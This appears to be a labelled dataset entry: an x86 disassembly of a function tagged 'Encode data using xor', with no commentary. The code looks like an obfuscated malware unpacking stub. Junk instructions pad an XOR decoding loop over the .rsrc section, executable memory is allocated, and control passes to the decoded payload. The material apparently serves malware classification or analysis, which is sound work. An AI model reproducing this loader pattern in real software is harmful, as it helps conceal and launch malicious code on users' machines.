Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfc9ff243
dec eax
mov eax, 0xc83c885a
not eax
popal
inc eax
add edi, edi
mov edx, 0
mov ebx, edi
sub eax, 0xc766aa37
or esi, eax
mov ecx, ebx
dec esi
mov esi, eax
mov edi, ecx
and esi, eax
mov esi, eax
mov esi, eax
inc edx
and eax, esi
add esi, 0xdf01c5e0
cmp edx, 0x100c089
jne 0xa789c3
add esi, 0x7fdef50f
sub eax, 0xa5e3fa6b
sub eax, esi
or edi, eax
add edi, edi
mov eax, 0xa78796
add ecx, 0xdf0f992a
mov ecx, esi
not edx
mov ebx, 0xa7898a
and ecx, esi
mov esi, edx
mov ecx, edx
mov edi, dword [eax]
sub edx, ecx
sub esi, ecx
and edi, 0xff
add edx, 1
and edx, esi
xor dword [ebx], edi
dec ecx
mov ecx, 0x6de27468
inc ebx
add esi, ecx
and ecx, edx
inc eax
dec esi
add ecx, 0x4a3a20f2
cmp ebx, entry0
jl 0xa78a1b
add ecx, edx
and edx, esi
not esi
sub esi, ecx
not esi
not ecx
inc esi
add esi, esi
mov edx, 0xa7898e
sub edi, 0x5d6b736b
mov ecx, ebx
mov edx, dword [edx]
inc edi
not ebx
mov esi, ecx
mov edx, dword [edx]
add ebx, 0x6f1555ad
mov ebx, esi
push edx
sub edi, 0x7c674142
not ebx
mov edx, 0xa7898a
mov ebx, 0xe547d0e4
dec esi
inc esi
mov edx, dword [edx]
dec ecx
add ecx, 0x81ba49a4
mov edx, dword [edx]
mov ecx, 0x55636847
sub ecx, 0x3efce75a
sub ebx, edi
push 0xa78992
sub ecx, 0x141c29fd
or ebx, ecx
call edx
not esi
mov esi, ecx
or ecx, ebx
pop edx
and esi, edi
sub ebx, ecx
add ebx, edi
sub esp, 4
mov dword [esp], 0xa7899f
mov ebx, 0xb1bcdd8
add ebx, ecx
mov edi, ebx
push eax
inc ebx
sub edi, ecx
call edx
and ebx, edi
mov esi, 0xb0843b87
sub esp, 4
mov dword [esp], 0x40
mov ebx, esi
or ebx, esi
add esi, 1
push 0x3000
mov ebx, 0xe8d67381
add ebx, esi
add ecx, 0x27c3f1f3
push 0x20000a5e
inc esi
mov ecx, edi
sub ebx, 0xded6c013
push 0
mov esi, 0x5b97b0db
sub ecx, 0x7246859
call eax
sub edi, ebx
mov ecx, 0x49d1b921
add eax, 0x200009d5
mov edi, 0xdee8f42c
sub ecx, 0xb4785eca
mov edx, 0x90ac426e
or ebx, ebx
add ecx, 0xd7fde020
mov dword [eax], edx
mov ebx, 0x66bf6ecc
sub ebx, esi
mov edx, dword [eax]
sub esi, 0xad1fe586
add edi, 0x78a97005
cmp edx, 0x90ac426e
je 0xa78b77
mov edx, 0
mov dword [edx], ebx
mov ebx, ecx
sub esi, 0xe3b6cb77
and ecx, ecx
add esi, 0xdf55d7a
sub eax, 0xea062a0e
add eax, 0xf711b22a
add eax, 0x242d80d8
mov esi, section..rsrc
not eax
inc eax
sub edi, eax
mov ebx, 0xa78795
mov edi, eax
sub eax, 1
sub edi, eax
mov ecx, 0
mov eax, 0xa6b5f99d
add edi, edi
or edi, eax
mov edx, 0xa78796
or edi, edi
mov edi, eax
dec eax
lea edx, [edx + ecx]
sub edi, eax
inc edi
mov edx, dword [edx]
or edi, edi
sub edi, eax
and edx, 0xff
add edi, 0x4324e0cb
add edi, eax
inc edi
add ecx, 1
or edi, eax
and edi, edi
not edi
cmp ecx, 0x1f4
jne 0xa78bfe
mov ecx, 0
mov edi, 0xaa2f510f
add eax, 1
sub eax, 0xdc310414
not eax
add eax, eax
xor dword [esi], edx
and eax, eax
mov eax, edi
and edi, edi
add esi, 2
mov eax, edi
sub eax, 1
mov edi, 0x40badb31
cmp esi, ebx
jl 0xa78bc0
add edi, 0xd79c6e30
add edi, eax
add edi, eax
or eax, edi
inc eax
mov edx, section..rsrc
and eax, esi
mov esi, 0x59eeeaab
mov ebx, section..rsrc
or esi, eax
add esi, eax
inc eax
mov edi, 0xa78795
sub esi, 1
add eax, 0xc1dfca58
mov ecx, 0
and esi, eax
add esi, eax
mov esi, 0x8472a91
mov cl, byte [ebx]
mov esi, eax
not esi
mov byte [edx], cl
mov esi, eax
inc eax
inc edx
sub eax, 0x4786fd
mov eax, esi
sub esi, 0x83101d2
add ebx, 2
not eax
mov esi, eax
sub esi, 0x1520552a
cmp ebx, edi
jle 0xa78c78
mov eax, 0xcc23ca24
not eax
inc edi
add edi, 0x72f119de
push 0x8dc6a0
mov edi, 0xb8f66758
sub eax, 0x86cc6f6d
or eax, edi
ret